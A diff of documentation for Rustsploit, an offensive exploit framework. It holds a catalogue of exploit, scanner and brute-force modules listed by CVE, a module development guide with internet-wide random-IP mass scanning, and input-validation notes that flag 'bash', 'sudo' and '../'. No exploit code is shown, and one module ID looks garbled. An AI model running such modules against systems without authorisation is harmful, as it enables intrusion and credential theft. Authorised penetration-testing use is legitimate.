| `exploits/safeline/unauth_writes` | SafeLine publicRouters expose unauthenticated POST to /api/Behaviour and /api/FalsePositives for analytics pollution and request amplification |
|
||||
|
||||
### Snare (Honeypot)
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/snare/cookie_dos` | HTTP Cookie header without '=' separator causes IndexError crash in snare tanner_handler.py worker |
|
||||
| `exploits/snare/tanner_version_mitm` | Rogue HTTP server on port 8090 returns forged version response to snare's unauthenticated GET /version check |
|
||||
|
||||
### SSH
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/ssh/asyncssh_beginauthpass` | AsyncSSH server begin_auth() returning False causes USERAUTH_SUCCESS bypass for unauthenticated session access |
|
||||
| `exploits/ssh/erlang_otp_ssh_rce_cve_2025_32433` | Erlang/OTP SSH server unauthenticated RCE (CVE-2025-32433) |
|
||||
| `exploits/ssh/libssh2_rogue_server` | Rogue SSH server capturing credentials from libssh2 clients that accept USERAUTH_SUCCESS without verifying KEX state |
|
||||
| `exploits/ssh/libssh_auth_bypass_cve_2018_10933` | libSSH server authentication bypass (CVE-2018-10933) |
|
||||
| `exploits/ssh/openssh_regresshion_cve_2024_6387` | OpenSSH sshd signal handler race condition for unauthenticated RCE (CVE-2024-6387) |
|
||||
| `exploits/ssh/opensshserver_9_8p1race_condition` | OpenSSH 9.8p1 race condition for heap-based RCE |
|
||||
| `exploits/ssh/paramiko_authnonepass` | Paramiko SSH server check_auth_none() returning AUTH_SUCCESSFUL allows unauthenticated session access |
|
||||
| `exploits/ssh/paramiko_unknown_method` | Paramiko SSH server unrecognized auth method fallthrough to check_auth_none() allows authentication bypass |
|
||||
| `exploits/ssh/sshpwn_auth_passwd` | OpenSSH auth2-passwd.c password length DoS, change info leak, timing enumeration |
|
||||
| `exploits/ssh/sshpwn_pam` | OpenSSH auth-pam.c environment injection, memory leak DoS, username validation bypass |
|
||||
| `exploits/ssh/sshpwn_scp_attacks` | OpenSSH SCP path traversal, command injection, and brace expansion DoS |
|
||||
| `exploits/ssh/sshpwn_session` | OpenSSH session.c forced command bypass, env injection, privsep issues |
|
||||
| `exploits/ssh/sshpwn_sftp_attacks` | OpenSSH SFTP symlink injection, chmod setuid abuse, path traversal, partial write |
|
||||
|
||||
### Telnet
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/telnet/telnet_auth_bypass_cve_2026_24061` | Telnet authentication bypass on vulnerable devices (CVE-2026-24061) |
|
||||
|
||||
### VNC
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/vnc/libvnc_checkrect_overflow` | LibVNCClient signed 32-bit bounds check integer overflow for heap overflow RCE |
|
||||
| `exploits/vnc/libvnc_tight_filtergradient` | LibVNCClient Tight decoder unclamped numRows out-of-bounds write past allocated buffer |
|
||||
| `exploits/vnc/libvnc_ultrazip` | LibVNCClient Ultra encoding unbounded cache rect loop for heap overflow (CVE-2018-20750) |
|
||||
| `exploits/vnc/libvnc_websocket_overflow` | LibVNCServer WebSocket unbounded 64-bit payloadLen for heap overflow |
|
||||
| `exploits/vnc/libvnc_zrle_tile` | LibVNCClient ZRLE decoder truncated RLE tile buffer over-read |
|
||||
| `exploits/vnc/rfb` | Shared RFB protocol helpers for VNC exploit modules |
|
||||
| `exploits/vnc/tigervnc_rre_overflow` | TigerVNC RRE decoder unbounded numSubrects loop for heap over-read |
|
||||
| `exploits/vnc/tigervnc_timing_oracle` | TigerVNC VNC auth DES response timing side-channel for bit-by-bit key recovery |
|
||||
| `exploits/vnc/tightvnc_decompression_bomb` | TightVNC FileUploadData uncapped uncompressedSize for heap exhaustion DoS |
|
||||
| `exploits/vnc/tightvnc_des_hardcoded_key` | TightVNC hardcoded 8-byte DES key for offline Windows registry password decryption |
|
||||
| `exploits/vnc/tightvnc_ft_path_traversal` | TightVNC file-transfer handler directory traversal for arbitrary file read/write |
|
||||
| `exploits/vnc/tightvnc_predictable_challenge` | TightVNC srand(time(0)) predictable 16-byte RFB challenge for replay attacks |
|
||||
| `exploits/vnc/tightvnc_rect_overflow` | TightVNC signed int32 multiplication overflow in Rect::area() for heap buffer overflow RCE |
|
||||
| `exploits/vnc/x11vnc_dns_injection` | x11vnc reverse-DNS hostname passed unsanitized to system() for shell injection via crafted PTR record |
|
||||
| `exploits/vnc/x11vnc_env_injection` | x11vnc RFB_CLIENT_IP environment variable injection into hook scripts |
|
||||
| `exploits/vnc/x11vnc_unixpw_inject` | x11vnc -unixpw mode newline injection in plaintext username to confuse PAM flow |
|
||||
|
||||
### VoIP
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/voip/cve_2025_64328_freepbx_cmdi` | FreePBX filestore module post-authentication command injection (CVE-2025-64328) |
|
||||
|
||||
### Web Applications
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/webapps/craftcms_key_rce_cve_2025_23209` | Craft CMS RCE when application security key is known or leaked (CVE-2025-23209) |
|
||||
| `exploits/webapps/craftcms_rce_cve_2025_47726` | Craft CMS RCE via Server-Side Template Injection (CVE-2025-47726) |
|
||||
| `exploits/webapps/dify/cve_2025_56157_dify_default_creds` | Dify default PostgreSQL credentials (postgres:difyai123456) exposure check (CVE-2025-56157) |
|
||||
| `exploits/webapps/flowise/cve_2024_31621` | Flowise 1.6.5 unauthenticated credentials endpoint access (CVE-2024-31621) |
|
||||
| `exploits/webapps/flowise/cve_2025_59528_flowise_rce` | Flowise < 3.0.5 unauthenticated API RCE (CVE-2025-59528) |
|
||||
| `exploits/webapps/langflow_rce_cve_2025_3248` | Langflow unauthenticated RCE via Python exec() in code validation (CVE-2025-3248) |
|
||||
| `exploits/webapps/laravel_livewire_rce_cve_2025_47949` | Laravel Livewire RCE via unsafe deserialization (CVE-2025-47949) |
|
||||
| `exploits/webapps/misp_rce_cve_2025_27364` | MISP < 2.5.3 authenticated file upload to PHP webshell RCE via /events/upload_sample (CVE-2025-27364) |
|
||||
| `exploits/webapps/mcpjam/cve_2026_23744_mcpjam_rce` | MCPJam Inspector <= 1.4.2 unauthenticated RCE (CVE-2026-23744) |
|
||||
| `exploits/webapps/n8n/n8n_rce_cve_2025_68613` | n8n workflow automation RCE via expression injection (CVE-2025-68613) |
|
||||
| `exploits/webapps/nextjs_middleware_bypass_cve_2025_29927` | Next.js < 15.2.3 middleware bypass via unauthenticated x-middleware-subrequest header (CVE-2025-29927) |
|
||||
| `exploits/webapps/react/react2shell` | React Server Components / Next.js RCE via RSC Flight protocol deserialization |
|
||||
| `exploits/webapps/roundcube/roundcube_postauth_rce` | Roundcube webmail post-auth RCE via deserialization in file upload |
|
||||
| `exploits/webapps/sap_netweaver_rce_cve_2025_31324` | SAP NetWeaver Visual Composer unauthenticated file upload to RCE (CVE-2025-31324) |
|
||||
| `exploits/webapps/sharepoint/cve_2024_38094` | SharePoint Server authenticated deserialization RCE via .bdcm upload (CVE-2024-38094) |
|
||||
| `exploits/webapps/sharepoint/cve_2025_53770_sharepoint_toolpane_rce` | SharePoint on-premises unauthenticated deserialization RCE (CVE-2025-53770) |
|
||||
| `exploits/webapps/solarwinds/cve_2025_40551_solarwinds_whd_rce` | SolarWinds Web Help Desk unauthenticated Java deserialization RCE (CVE-2025-40551) |
|
||||
| `exploits/webapps/spotube/spotube` | Spotube API path traversal via WebSocket and denial of service |
|
||||
| `exploits/webapps/termix/termix_xss_cve_2026_22804` | Termix File Manager stored XSS via SVG upload in Electron context (CVE-2026-22804) |
|
||||
| `exploits/webapps/vite_path_traversal_cve_2025_30208` | Vite dev server < 6.2.3 /@fs/ path traversal via ?import&raw query parameter bypass (CVE-2025-30208) |
|
||||
| `exploits/webapps/wordpress/vitepos_file_upload_cve_2025_13156` | Vitepos for WooCommerce authenticated arbitrary PHP file upload (CVE-2025-13156) |
|
||||
| `exploits/webapps/wordpress/wp_bricks_rce_cve_2024_25600` | Bricks Builder for WordPress unauthenticated RCE via render_element (CVE-2024-25600) |
|
||||
| `exploits/webapps/wordpress/wp_litespeed_rce_cve_2024_28000` | LiteSpeed Cache weak hash brute force for WordPress admin escalation (CVE-2024-28000) |
|
||||
| `exploits/webapps/wordpress/wp_royal_elementor_rce_cve_2024_32suspended` | Royal Elementor Addons unauthenticated PHP webshell upload |
|
||||
| `exploits/webapps/xwiki/cve_2025_24893_xwiki_rce` | XWiki SolrSearch unauthenticated RCE via Groovy template injection (CVE-2025-24893) |
|
||||
| `exploits/webapps/zabbix/zabbix_7_0_0_sql_injection` | Zabbix 7.0.0 time-based SQL injection in API endpoints |
|
||||
| `exploits/webapps/zimbra_sqli_auth_bypass_cve_2025_25064` | Zimbra ZCS < 10.0.12 unauthenticated SQL injection via /service/home~ for email metadata extraction (CVE-2025-25064) |
|
||||
|
||||
### Windows
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `exploits/windows/windows_dwm_cve_2026_20805` | Windows DWM kernel object pointer leak for KASLR bypass (CVE-2026-20805) |
|
||||
|
||||
---
|
||||
|
||||
## Scanners
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `scanners/api_endpoint_scanner` | REST API endpoint discovery and vulnerability scanner with fuzzing, auth bypass, and injection detection |
|
||||
| `scanners/dir_brute` | HTTP directory and file enumeration via wordlist with recursive scanning and evasion techniques |
|
||||
| `scanners/dns_recursion` | Open DNS resolver and amplification attack detection |
|
||||
| `scanners/honeypot_scanner` | Honeypot indicator detection by probing 50 common TCP ports |
|
||||
| `scanners/http_method_scanner` | HTTP method enumeration to identify dangerous or misconfigured endpoints |
|
||||
| `scanners/http_title_scanner` | HTTP/HTTPS page title fetcher for target fingerprinting |
|
||||
| `scanners/ipmi_enum_exploit` | IPMI version detection, cipher 0 bypass, default credentials, and RAKP hash dumping |
|
||||
| `scanners/nbns_scanner` | NBNS name queries to UDP 137 for Windows host discovery |
|
||||
| `scanners/ping_sweep` | Host discovery via ICMP echo, TCP connect, SYN, and ACK probes with CIDR support |
|
||||
| `scanners/port_scanner` | TCP/UDP port scanner with service detection, banner grabbing, and configurable ranges |
|
||||
| `scanners/proxy_scanner` | HTTP CONNECT, SOCKS4, SOCKS5, and transparent proxy discovery with authentication detection |
|
||||
| `scanners/redis_scanner` | Redis instance discovery and unauthenticated access detection |
|
||||
| `scanners/reflect_scanner` | UDP amplification vulnerability scanner for DNS, NTP monlist, SSDP, and Memcached reflectors |
|
||||
| `scanners/sample_scanner` | Demonstration scanner checking HTTP/HTTPS reachability and response codes |
|
||||
| `scanners/sequential_fuzzer` | Character-based HTTP fuzzer with 10+ encodings, custom charsets, and concurrent requests |
|
||||
| `scanners/service_scanner` | Service port banner grabbing and version identification |
|
||||
| `scanners/smtp_user_enum` | SMTP username enumeration via VRFY commands with wordlist scanning |
|
||||
| `scanners/snmp_scanner` | SNMP v1/v2c community string testing against target devices |
|
||||
| `scanners/source_port_scanner` | Firewall bypass scanner discovering which source ports are allowed through |
|
||||
| `scanners/ssdp_msearch` | UPnP device discovery via SSDP M-SEARCH multicast and unicast probes |
|
||||
| `scanners/ssh_scanner` | SSH banner grabbing with CIDR range support and concurrent scanning |
|
||||
| `scanners/ssl_scanner` | SSL/TLS certificate and configuration analysis, expired certificate detection |
|
||||
| `scanners/stalkroute_full_traceroute` | Advanced traceroute with ICMP/TCP/UDP probes, OS fingerprint spoofing, and decoy packets |
|
||||
| `scanners/subdomain_scanner` | Subdomain brute-force enumeration via DNS resolution |
|
||||
| `scanners/vnc_scanner` | VNC protocol version and security type enumeration |
|
||||
| `scanners/vuln_checker` | Fingerprint-based vulnerability scanner with detection signatures across all exploit modules |
|
||||
| `scanners/waf_detector` | Web Application Firewall and CDN provider detection via HTTP response analysis |
|
||||
|
||||
---
|
||||
|
||||
## Credential Modules
|
||||
|
||||
### Generic
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `creds/generic/couchdb_bruteforce` | CouchDB session cookie and HTTP Basic auth brute force with default credential testing and subnet scanning |
|
||||
| `creds/generic/elasticsearch_bruteforce` | Elasticsearch HTTP Basic auth brute force against cluster root and security API with subnet scanning |
|
||||
| `creds/generic/enablebruteforce` | Raises file descriptor limits (ulimit) for high-concurrency brute-force operations |
|
||||
| `creds/generic/fortinet_bruteforce` | Fortinet FortiGate SSL VPN web auth brute force with certificate pinning and realm support |
|
||||
| `creds/generic/ftp_anonymous` | FTP anonymous access check with FTPS, IPv4/IPv6, and mass scanning support |
|
||||
| `creds/generic/ftp_bruteforce` | FTP/FTPS brute force with combo mode, concurrent connections, and subnet scanning |
|
||||
| `creds/generic/http_basic_bruteforce` | HTTP Basic Authentication brute force with HTTPS support, default credentials, and subnet scanning |
|
||||
| `creds/generic/imap_bruteforce` | IMAP/IMAPS LOGIN command brute force over raw TCP with TLS support and subnet scanning |
|
||||
| `creds/generic/l2tp_bruteforce` | L2TP/IPsec VPN CHAP auth brute force against L2TP concentrators |
|
||||
| `creds/generic/memcached_bruteforce` | Memcached open instance detection and SASL PLAIN auth brute force over binary protocol |
|
||||
| `creds/generic/mqtt_bruteforce` | MQTT 3.1.1 auth testing with TLS/SSL, anonymous detection, and multiple attack modes |
|
||||
| `creds/generic/mysql_bruteforce` | MySQL native password wire protocol brute force with HandshakeV10 parsing and subnet scanning |
|
||||
| `creds/generic/pop3_bruteforce` | POP3/POP3S brute force with SSL/TLS support, retry logic, and subnet scanning |
|
||||
| `creds/generic/postgres_bruteforce` | PostgreSQL protocol v3 brute force supporting cleartext and MD5 auth with subnet scanning |
|
||||
| `creds/generic/proxy_bruteforce` | HTTP CONNECT, SOCKS5, and HTTP forward proxy authentication brute force |
|
||||
| `creds/generic/rdp_bruteforce` | RDP auth brute force with NLA, TLS, Standard RDP, and Negotiate security levels |
|
||||
| `creds/generic/redis_bruteforce` | Redis AUTH brute force supporting legacy and ACL mode with server info gathering on success |
|
||||
| `creds/generic/rtsp_bruteforce` | RTSP auth brute force for IP cameras with path bruting and custom headers |
|
||||
| `creds/generic/sample_cred_check` | Sample module testing HTTP Basic Auth with default admin:admin credentials |
|
||||
| `creds/generic/smtp_bruteforce` | SMTP auth brute force supporting PLAIN and LOGIN mechanisms with combo mode |
|
||||
| `creds/generic/snmp_bruteforce` | SNMPv1/v2c community string brute force with read/write detection and subnet scanning |
|
||||
| `creds/generic/ssh_bruteforce` | SSH password brute force with default credential testing, combo mode, and subnet scanning |
|
||||
| `creds/generic/ssh_spray` | SSH password spray across multiple targets with lockout-aware delays |
|
||||
| `creds/generic/ssh_user_enum` | SSH username enumeration via timing-based side-channel attack (CVE-2018-15473 inspired) |
|
||||
| `creds/generic/telnet_bruteforce` | Telnet brute force with full IAC negotiation, multiple attack modes, and subnet scanning |
|
||||
| `creds/generic/telnet_hose` | Mass internet Telnet default credential scanner with 500 workers and disk-based state |
|
||||
| `creds/generic/vnc_bruteforce` | VNC DES challenge-response brute force with bit-reversed key derivation and subnet scanning |
|
||||
|
||||
### Camera
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `creds/camera/acti/acti_camera_default` | ACTi IP camera default credential check across FTP, SSH, Telnet, and HTTP |
|
||||
|
||||
### Camxploit
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `creds/camxploit/camxploit` | Mass camera discovery and default credential testing across RTSP, HTTP, and HTTPS |
|
||||
|
||||
---
|
||||
|
||||
## Plugins
|
||||
|
||||
| Module Path | Description |
|
||||
|-------------|-------------|
|
||||
| `plugins/sample_plugin` | Template plugin demonstrating the RustSploit plugin API with mass scan and cfg_prompt integration |
|
||||
@@ -0,0 +1,285 @@
|
||||
# Module Development
|
||||
|
||||
Reference for maintainers and contributors writing new Rustsploit modules.
|
||||
|
||||
---
|
||||
|
||||
## How Modules Are Discovered
|
||||
|
||||
Rustsploit uses a build-time code-generation approach — no manual registry:
|
||||
|
||||
1. **`build.rs` scan** — Before compilation, `build.rs` recursively walks `src/modules/` looking for `.rs` files that are not `mod.rs`.
|
||||
2. **Signature detection** — A file that exposes `pub async fn run(` is treated as a callable module.
|
||||
3. **Name generation** — Both a *short name* (`ssh_bruteforce`) and a *qualified path* (`creds/generic/ssh_bruteforce`) are registered.
|
||||
4. **Dispatcher emission** — Generated files are written into `OUT_DIR` (not the source tree):
|
||||
- `exploit_dispatch.rs`
|
||||
- `creds_dispatch.rs`
|
||||
- `scanner_dispatch.rs`
|
||||
- `plugins_dispatch.rs`
|
||||
- `module_registry.rs`
|
||||
|
||||
Each dispatch file contains an exhaustive `match` mapping names → `use crate::modules::...::run`. The registry file provides a unified module listing across all categories.
|
||||
5. **Shell + CLI resolution** — `use exploits/foo` or `--module foo` both resolve through the dispatcher.
|
||||
|
||||
Because it's generated at build time, there is **no manual registry drift** as long as modules live in the correct folder and export `run`.
|
||||
|
||||
---
|
||||
|
||||
## Code Rules
|
||||
|
||||
- **No dead code.** All code must be intentional and used. Do not leave unused functions, imports, or variables.
|
||||
- **No `unsafe` blocks.** Do not use `unsafe` Rust anywhere in this codebase.
|
||||
|
||||
---
|
||||
|
||||
## Project Code Layout
|
||||
|
||||
```text
|
||||
rustsploit/
|
||||
├── Cargo.toml
|
||||
├── build.rs # Generates dispatcher by scanning src/modules
|
||||
├── src/
|
||||
│ ├── main.rs # Entry point — CLI or shell mode, input validation
|
||||
│ ├── cli.rs # Clap-based CLI parser and dispatcher
|
||||
│ ├── shell.rs # Interactive shell loop + UX helpers
|
||||
│ ├── api.rs # REST + WebSocket API server — PQ encryption, rate limiting
|
||||
│ ├── ws.rs # PQ-encrypted WebSocket transport (/pq/ws)
|
||||
│ ├── config.rs # Global config and target validation
|
||||
│ ├── module_info.rs # ModuleInfo, CheckResult, ModuleRank types
|
||||
│ ├── global_options.rs # Persistent global options (setg/unsetg)
|
||||
│ ├── cred_store.rs # Credential store (JSON persistence)
|
||||
│ ├── spool.rs # Console output logging
|
||||
│ ├── workspace.rs # Host/service tracking + workspaces
|
||||
│ ├── loot.rs # Loot/evidence management
|
||||
│ ├── export.rs # JSON/CSV/summary report export
|
||||
│ ├── jobs.rs # Background job management
|
||||
│ ├── mcp/
|
||||
│ │ ├── mod.rs # MCP server entry point (--mcp flag)
|
||||
│ │ ├── server.rs # JSON-RPC stdio transport with binary-safe reads
|
||||
│ │ └── tools.rs # 38 MCP tool implementations
|
||||
│ ├── commands/
|
||||
│ │ ├── mod.rs # Module discovery, fuzzy matching, multi-target dispatch
|
||||
│ │ ├── exploit.rs
|
||||
│ │ ├── scanner.rs
|
||||
│ │ └── creds.rs
|
||||
│ ├── modules/
|
||||
│ │ ├── exploits/ # Exploit modules (183 modules, 21 categories)
|
||||
│ │ ├── scanners/ # Scanner modules (27 modules)
|
||||
│ │ ├── creds/ # Credential modules (29 modules)
|
||||
│ │ └── plugins/ # Plugin modules (1 module)
|
||||
│ ├── native/ # Native integrations
|
||||
│ │ ├── mod.rs
|
||||
│ │ ├── rdp.rs # Native RDP auth (X.224, TLS, CredSSP/NTLM)
|
||||
│ │ ├── payload_engine.rs # Payload encoding/generation
|
||||
│ │ ├── url_encoding.rs # URL encoding utilities
|
||||
│ │ └── async_tls.rs # Async TLS helpers
|
||||
│ └── utils/ # Shared helpers (directory module)
|
||||
│ ├── mod.rs # Re-exports
|
||||
│ ├── prompt.rs # Config-aware prompts (cfg_prompt_*)
|
||||
│ ├── sanitize.rs # Input validation, length limits
|
||||
│ ├── target.rs # Target normalization (IPv4/IPv6/CIDR/hostname)
|
||||
│ ├── network.rs # HTTP client builders, TCP/UDP connect helpers
|
||||
│ ├── privilege.rs # Root privilege check (require_root)
|
||||
│ └── modules.rs # Module discovery helpers
|
||||
├── docs/ # This wiki
|
||||
├── lists/ # Wordlists and data files
|
||||
└── README.md # Product overview
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Required Module Signature
|
||||
|
||||
Every module **must** export:
|
||||
|
||||
```rust
|
||||
use anyhow::Result;
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
// ...
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
Optional: also expose `pub async fn run_interactive(target: &str) -> Result<()>` for modules with multiple code paths.
|
||||
|
||||
---
|
||||
|
||||
## Optional Module Functions
|
||||
|
||||
Modules can optionally provide metadata and vulnerability check functions. These are auto-detected by `build.rs` alongside `run()`:
|
||||
|
||||
### Module Info (`info`)
|
||||
|
||||
```rust
|
||||
use crate::module_info::{ModuleInfo, ModuleRank};
|
||||
|
||||
pub fn info() -> ModuleInfo {
|
||||
ModuleInfo {
|
||||
name: "My Exploit Module".to_string(),
|
||||
description: "Exploits CVE-XXXX-YYYY in FooBar device firmware.".to_string(),
|
||||
authors: vec!["Your Name".to_string()],
|
||||
references: vec![
|
||||
"CVE-XXXX-YYYY".to_string(),
|
||||
"https://example.com/advisory".to_string(),
|
||||
],
|
||||
disclosure_date: Some("2025-01-15".to_string()),
|
||||
rank: ModuleRank::Good,
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The `info` shell command and `GET /api/module/{category}/{name}` endpoint display this metadata.
|
||||
|
||||
**Rank values:** `Excellent` (reliable, no crash risk), `Great`, `Good` (default), `Normal`, `Low`, `Manual`.
|
||||
|
||||
### Vulnerability Check (`check`)
|
||||
|
||||
```rust
|
||||
use crate::module_info::CheckResult;
|
||||
|
||||
pub async fn check(target: &str) -> CheckResult {
|
||||
// Non-destructive verification — do NOT exploit
|
||||
match test_vulnerability(target).await {
|
||||
Ok(true) => CheckResult::Vulnerable("Version 1.2.3 is affected".to_string()),
|
||||
Ok(false) => CheckResult::NotVulnerable("Patched version detected".to_string()),
|
||||
Err(e) => CheckResult::Error(format!("Check failed: {}", e)),
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
The `check` shell command and `POST /api/check` endpoint run this without exploitation.
|
||||
|
||||
### Auto-Store Credentials and Loot
|
||||
|
||||
Modules can auto-store discovered data:
|
||||
|
||||
```rust
|
||||
// Store a found credential
|
||||
crate::cred_store::store_credential(host, port, "ssh", username, password,
|
||||
crate::cred_store::CredType::Password, "creds/generic/ssh_bruteforce");
|
||||
|
||||
// Store loot (config file, hash dump, etc.)
|
||||
crate::loot::store_loot(host, "config", "Router config dump", data.as_bytes(), "exploits/router_rce");
|
||||
|
||||
// Track a discovered host/service
|
||||
crate::workspace::track_host(ip, Some("router.local"), Some("Linux 4.x"));
|
||||
crate::workspace::track_service(ip, 22, "tcp", "ssh", Some("OpenSSH 8.9"));
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Adding a New Module — Checklist
|
||||
|
||||
1. **Choose a location** under `src/modules/{exploits,scanners,creds}`.
|
||||
Use subfolders for vendor families (e.g., `exploits/cisco/`).
|
||||
2. **Create the `.rs` file** with the required `pub async fn run` signature.
|
||||
3. **Register in `mod.rs`** — add `pub mod your_module;` to the sibling `mod.rs`.
|
||||
Without this, `build.rs` ignores the file.
|
||||
4. **Run `cargo check`** — the dispatcher is regenerated automatically.
|
||||
|
||||
---
|
||||
|
||||
## Module Skeleton
|
||||
|
||||
```rust
|
||||
use anyhow::{Context, Result};
|
||||
use colored::Colorize;
|
||||
use crate::utils::{normalize_target, cfg_prompt_port, cfg_prompt_yes_no};
|
||||
|
||||
pub async fn run(target: &str) -> Result<()> {
|
||||
let target = normalize_target(target)?;
|
||||
let port = cfg_prompt_port("port", "Target port", 80).await?;
|
||||
let verbose = cfg_prompt_yes_no("verbose", "Verbose output?", false).await?;
|
||||
|
||||
println!("{} Checking {}:{}", "[*]".cyan(), target, port);
|
||||
|
||||
let url = format!("http://{}:{}/status", target, port);
|
||||
let body = reqwest::get(&url)
|
||||
.await
|
||||
.with_context(|| format!("Failed to reach {}", url))?
|
||||
.text()
|
||||
.await
|
||||
.context("Failed to read response body")?;
|
||||
|
||||
if body.contains("vulnerable") {
|
||||
println!("{} {} appears vulnerable", "[+]".green(), target);
|
||||
} else {
|
||||
if verbose {
|
||||
println!("{} Response: {}", "[*]".cyan(), body);
|
||||
}
|
||||
println!("{} {} not vulnerable", "[-]".red(), target);
|
||||
}
|
||||
|
||||
Ok(())
|
||||
}
|
||||
```
|
||||
|
||||
---
|
||||
|
||||
## Output Conventions
|
||||
|
||||
| Prefix | Color | Meaning |
|
||||
|--------|-------|---------|
|
||||
| `[+]` | Green | Success / found |
|
||||
| `[-]` | Red | Not found / not vulnerable |
|
||||
| `[!]` | Yellow | Warning |
|
||||
| `[*]` | Cyan | Info / progress |
|
||||
|
||||
Use `.green()`, `.red()`, `.yellow()`, `.cyan()` from the `colored` crate. Keep messages short and actionable.
|
||||
|
||||
---
|
||||
|
||||
## Async I/O Guidelines
|
||||
|
||||
- Prefer `reqwest`, `tokio::net`, `tokio::process` for async work.
|
||||
- Wrap synchronous blocking calls with `tokio::task::spawn_blocking` (see the SSH module for reference).
|
||||
- For concurrency:
|
||||
- `tokio::sync::Semaphore` (wrapped in `Arc`) for async modules.
|
||||
- `threadpool` + `crossbeam-channel` for synchronous protocols (Telnet, POP3).
|
||||
|
||||
---
|
||||
|
||||
## Error Handling
|
||||
|
||||
Bubble up errors using `anyhow::Context` so the shell/CLI surface meaningful messages:
|
||||
|
||||
```rust
|
||||
.with_context(|| format!("Failed to connect to {}", target))?
|
||||
```
|
||||
|
||||
Avoid `unwrap()` and `unwrap_or_default()` in critical paths.
|
||||
|
||||
---
|
||||
|
||||
## Wordlists & Resources
|
||||
|
||||
Store under `lists/` and document them in `lists/readme.md`. Reference paths relative to the working directory.
|
||||
|
||||
---
|
||||
|
||||
## Framework-Level Multi-Target Dispatch
|
||||
|
||||
The framework's command dispatcher (`src/commands/mod.rs`) automatically handles multiple target types for **all** modules. Module authors do not need to implement multi-target logic themselves -- the dispatcher wraps each module's `run()` function and handles:
|
||||
|
||||
- **Comma-separated targets**: `192.168.1.1,192.168.1.2,10.0.0.1` -- splits and dispatches each entry individually.
|
||||
- **CIDR subnets**: `192.168.1.0/24` -- expands the subnet and runs the module against each host IP.
|
||||
- **File-based target lists**: If the target string is a path to an existing file, each line is read and dispatched as a separate target.
|
||||
- **Random mass scan**: `0.0.0.0`, `0.0.0.0/0`, or `random` -- generates random public IPs in an infinite loop (Ctrl+C to stop).
|
||||
|
||||
This means a module that only handles a single host in its `run()` function automatically gains subnet scanning, file-based targeting, and mass-scan capability through the framework.
|
||||
|
||||
---
|
||||
|
||||
## 0.0.0.0/0 Internet-Wide Scanning
|
||||
|
||||
Modules supporting mass-scan accept `0.0.0.0`, `0.0.0.0/0`, or `random` as targets. When detected, the module enters an infinite loop generating random public IPs using:
|
||||
|
||||
```rust
|
||||
fn generate_random_public_ip() -> Ipv4Addr { ... }
|
||||
fn is_excluded_ip(ip: Ipv4Addr) -> bool { ... }
|
||||
```
|
||||
|
||||
The `EXCLUDED_RANGES` constant covers bogons, private, reserved, documentation CIDRs, and public DNS servers. Copy this pattern from an existing mass-scan module (e.g., `telnet_hose` or `hikvision_rce`).
|
||||
|
||||
Honeypot detection is disabled in mass-scan mode to avoid interactive prompts.
|
||||
@@ -0,0 +1,218 @@
|
||||
# Security & Input Validation
|
||||
|
||||
Rustsploit implements defence-in-depth throughout the codebase. All contributors must follow these patterns when writing modules or modifying core code.
|
||||
|
||||
---
|
||||
|
||||
## Validation Constants
|
||||
|
||||
| File | Constant | Value | Purpose |
|
||||
|------|----------|-------|---------|
|
||||
| `shell.rs` | `MAX_INPUT_LENGTH` | 4096 | Maximum shell input length |
|
||||
| `sanitize.rs` | `MAX_TARGET_LENGTH` | 2048 | Maximum target string length |
|
||||
| `shell.rs` | `MAX_URL_LENGTH` | 2048 | Maximum URL length |
|
||||
| `shell.rs` | `MAX_PATH_LENGTH` | 4096 | Maximum file path length |
|
||||
| `utils.rs` | `MAX_FILE_SIZE` | 10 MB | Maximum file size to read |
|
||||
| `config.rs` | `MAX_HOSTNAME_LENGTH` | 253 | DNS hostname limit |
|
||||
| `api.rs` | `MAX_REQUEST_BODY_SIZE` | 1 MB | API request body limit |
|
||||
| `api.rs` | `MAX_TRACKED_IPS` | 100,000 | IP tracker limit |
|
||||
|
||||
---
|
||||
|
||||
## Security Patterns
|
||||
|
||||
### 1. Input Length Validation
|
||||
|
||||
```rust
|
||||
if input.len() > MAX_INPUT_LENGTH {
|
||||
return Err(anyhow!("Input too long (max {} characters)", MAX_INPUT_LENGTH));
|
||||
}
|
||||
```
|
||||
|
||||
### 2. Input Sanitization
|
||||
|
||||
The `sanitize_string_input()` function performs multiple layers of cleaning:
|
||||
|
||||
1. **Null byte removal** -- inputs containing `\0` are rejected outright
|
||||
2. **Control character filtering** -- all control characters (except `\t`) are stripped from the input
|
||||
3. **Length enforcement** -- inputs exceeding `MAX_COMMAND_LENGTH` are rejected
|
||||
|
||||
```rust
|
||||
// Reject null bytes, then filter control characters (except tab)
|
||||
let sanitized: String = input.chars()
|
||||
.filter(|c| !c.is_control() || *c == '\t')
|
||||
.collect();
|
||||
```
|
||||
|
||||
For command-specific validation (`validate_command_input`), null bytes are stripped and length is enforced against `MAX_COMMAND_LENGTH`.
|
||||
|
||||
If suspicious patterns (`bash`, `sudo`, `../`) are detected, a warning is printed but the string is still returned unmodified:
|
||||
|
||||
```
|
||||
[!] Input contains shell/path patterns. Treated as literal text string.
|
||||
```
|
||||
|
||||
### 3. Path Traversal Prevention
|
||||
|
||||
```rust
|
||||
if input.contains("..") || input.contains("//") {
|
||||
return Err(anyhow!("Path traversal detected"));
|
||||
}
|
||||
```
|
||||
|
||||
### 4. Target / Hostname Validation
|
||||
|
||||
Always use the framework's `normalize_target` function:
|
||||
|
||||
```rust
|
||||
use crate::utils::normalize_target;
|
||||
